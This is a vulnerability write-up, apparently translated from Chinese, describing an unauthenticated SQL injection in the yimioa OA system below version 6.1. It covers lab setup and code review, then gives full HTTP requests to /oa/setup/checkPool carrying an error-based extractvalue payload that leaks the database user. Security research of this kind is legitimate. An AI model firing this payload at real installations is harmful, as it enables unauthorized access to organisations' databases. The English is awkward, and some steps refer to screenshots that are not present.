yimiYWOA<6.1 version foreground unauthorized SQL injection

[UzJu]

Environment construction

http://partner.yimihome.com/static/index.html#/index/sys_env

Direct one-click installation can be started, and then login on the account admin password 1111111, login if prompted authentication expired can not log in, change the local system time can

http://172.16.140.189:8088/oa/setup/license.jsp

Once installed here, the source code is available for download at gitee

https://gitee.com/bestfeng/yimioa

Download a good local idea to open a static look at the code on

[Frontend] <6.1 Version Unauthorized SQL Injection

Through the apikit interface fuzz found an interface that can be unauthorized requests, find the corresponding implementation method in the code
Prerequisite: this hole has a condition, that is, the need for less than 6.1 version, the specific why directly on the code src/main/java/com/cloudweb/oa/controller/ApplicationController.java

The above does not need to care, specifically note the following if(isValid)

First get the version from the configuration

Get to version 6.1, then start the version determination

Determine if it is less than 3

Determine if it is less than 4

Determine if it is less than 5

Determine if it is equal to 6

The condition to be used here is that the version needs to be <= 6 in order to be successful
So change the version

You also need to change one more location, you need to change the version of the database, otherwise the login will prompt the version is inconsistent, the database and configuration file version judgment class in src/main/java/com/cloudweb/oa/service/LoginService.java


Just change the value of the version field in the oa_sys_ver table in the database

Restart tomcat after the change, and then request the specified interface without logging in

POST /oa/setup/checkPool?database=test' HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2

Found that the return here actually has a return, will prompt the SQL statement to report an error

Here we bring out the user directly with extractvalue

POC

and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))--+

HTTP

POST /oa/setup/checkPool?database=test'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))--+ HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2